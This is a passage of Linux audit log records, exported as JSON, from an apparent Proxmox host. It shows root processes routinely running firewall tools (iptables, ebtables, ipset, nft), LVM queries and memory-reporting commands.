msg=audit(1781964755.307:62456): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59899 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965485603,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965485.603:65816): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966205749,"@rawstring":"node=pve type=PATH msg=audit(1781966205.749:68891): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755300,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964755.300:62455): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59898 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965485597,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965485.597:65815): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966205749,"@rawstring":"node=pve type=PATH msg=audit(1781966205.749:68891): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755295,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964755.295:62454): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59897 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965485588,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965485.588:65814): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966205739,"@rawstring":"node=pve type=PATH msg=audit(1781966205.739:68890): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755287,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964755.287:62453): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59896 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965485583,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965485.583:65813): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966205739,"@rawstring":"node=pve type=PATH msg=audit(1781966205.739:68890): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755285,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964755.285:62452): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=55d6ef03d740 items=0 ppid=1156 pid=59895 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965485576,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965485.576:65812): proctitle=697073657400726573746F7265"} {"@timestamp":1781966205733,"@rawstring":"node=pve type=PATH msg=audit(1781966205.733:68888): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755282,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964755.282:62451): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc13af00 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59895 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965485568,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965485.568:65811): proctitle=\"ip6tables-save\""} {"@timestamp":1781966205733,"@rawstring":"node=pve type=PATH msg=audit(1781966205.733:68888): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755277,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964755.277:62450): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0ecd10 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59894 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965485559,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965485.559:65810): proctitle=\"iptables-save\""} {"@timestamp":1781966205726,"@rawstring":"node=pve type=PATH msg=audit(1781966205.726:68887): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755271,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964755.271:62449): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0ee2d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59893 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965485555,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965485.555:65809): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966205726,"@rawstring":"node=pve type=PATH msg=audit(1781966205.726:68887): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755267,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964755.267:62448): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc148ab0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59892 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965485550,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965485.550:65808): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966205720,"@rawstring":"node=pve type=PATH msg=audit(1781966205.720:68886): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755262,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964755.262:62447): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ee2d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59891 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965485549,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965485.549:65807): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966205720,"@rawstring":"node=pve type=PATH msg=audit(1781966205.720:68886): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755258,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964755.258:62446): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0cf720 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59890 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965485549,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965485.549:65806): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966205715,"@rawstring":"node=pve type=PATH msg=audit(1781966205.715:68885): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755249,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964755.249:62445): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59889 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965485539,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965485.539:65805): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966205715,"@rawstring":"node=pve type=PATH msg=audit(1781966205.715:68885): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755245,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964755.245:62444): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59888 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965485531,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965485.531:65804): proctitle=\"ip6tables-save\""} {"@timestamp":1781966205709,"@rawstring":"node=pve type=PATH msg=audit(1781966205.709:68884): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755241,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964755.241:62443): arch=c000003e syscall=59 success=yes exit=0 a0=5bef113a60a0 a1=5bef113a2e20 a2=5bef11384680 a3=5 items=2 ppid=59881 pid=59887 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965485521,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965485.521:65803): proctitle=\"iptables-save\""} {"@timestamp":1781966205709,"@rawstring":"node=pve type=PATH msg=audit(1781966205.709:68884): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755238,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964755.238:62442): arch=c000003e syscall=59 success=yes exit=0 a0=5bef0ec66ac8 a1=7ffe0965e6a0 a2=5bef11384680 a3=5bef0ec4a24e items=2 ppid=59881 pid=59883 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965485515,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965485.515:65802): proctitle=69707365740073617665"} {"@timestamp":1781966205703,"@rawstring":"node=pve type=PATH msg=audit(1781966205.703:68883): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755236,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964755.236:62441): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe0965e660 a1=5bef113a1d10 a2=5bef11384680 a3=5 items=2 ppid=59881 pid=59882 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965485503,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965485.503:65801): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781966205703,"@rawstring":"node=pve type=PATH msg=audit(1781966205.703:68883): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755233,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964755.233:62439): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=59881 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965485489,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965485.489:65800): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781966205695,"@rawstring":"node=pve type=PATH msg=audit(1781966205.695:68882): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755227,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964755.227:62438): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc140560 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59880 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965484922,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965484.922:65799): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781966205695,"@rawstring":"node=pve type=PATH msg=audit(1781966205.695:68882): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755220,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964755.220:62437): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59879 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965484894,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965484.894:65798): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781966205687,"@rawstring":"node=pve type=PATH msg=audit(1781966205.687:68881): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755216,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964755.216:62436): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc148a70 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59878 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965483169,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965483.169:65797): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966205687,"@rawstring":"node=pve type=PATH msg=audit(1781966205.687:68881): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755210,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964755.210:62435): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc139ae0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59877 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965483169,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965483.169:65796): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966205683,"@rawstring":"node=pve type=PATH msg=audit(1781966205.683:68880): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755203,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964755.203:62434): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc101090 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59876 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965483168,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965483.168:65795): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966205683,"@rawstring":"node=pve type=PATH msg=audit(1781966205.683:68880): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964754533,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964754.533:62433): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d74090d0 a1=64f8d73d5240 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=59873 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965483157,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965483.157:65794): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966205679,"@rawstring":"node=pve type=PATH msg=audit(1781966205.679:68879): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964754490,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964754.490:62432): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73ec030 a1=64f8d73dff10 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=59872 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965483157,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965483.157:65793): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966205679,"@rawstring":"node=pve type=PATH msg=audit(1781966205.679:68879): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964750517,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964750.517:62431): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59871 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965483156,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965483.156:65792): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966205678,"@rawstring":"node=pve type=PATH msg=audit(1781966205.678:68878): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964750509,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964750.509:62428): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59870 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965480489,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965480.489:65791): proctitle=61776B007B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781966205678,"@rawstring":"node=pve type=PATH msg=audit(1781966205.678:68878): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745501,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964745.501:62425): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59869 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965480487,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965480.487:65790): proctitle=7073002D43006B766D002D6F00707373"} {"@timestamp":1781966205678,"@rawstring":"node=pve type=PATH msg=audit(1781966205.678:68877): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745493,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964745.493:62422): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59868 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965480485,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965480.485:65789): proctitle=61776B002F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D002F70726F632F6D656D696E666F"} {"@timestamp":1781966205673,"@rawstring":"node=pve type=PATH msg=audit(1781966205.673:68876): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745192,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964745.192:62419): arch=c000003e syscall=59 success=yes exit=0 a0=60e4db08bed0 a1=60e4db088c50 a2=60e4db06a680 a3=5 items=2 ppid=59861 pid=59867 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965478146,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965478.146:65788): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966205673,"@rawstring":"node=pve type=PATH msg=audit(1781966205.673:68876): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745189,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964745.189:62418): arch=c000003e syscall=59 success=yes exit=0 a0=60e4d2972ac8 a1=7fff304ed760 a2=60e4db06a680 a3=60e4d295624e items=2 ppid=59861 pid=59863 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965478146,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965478.146:65787): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966205673,"@rawstring":"node=pve type=PATH msg=audit(1781966205.673:68876): item=0 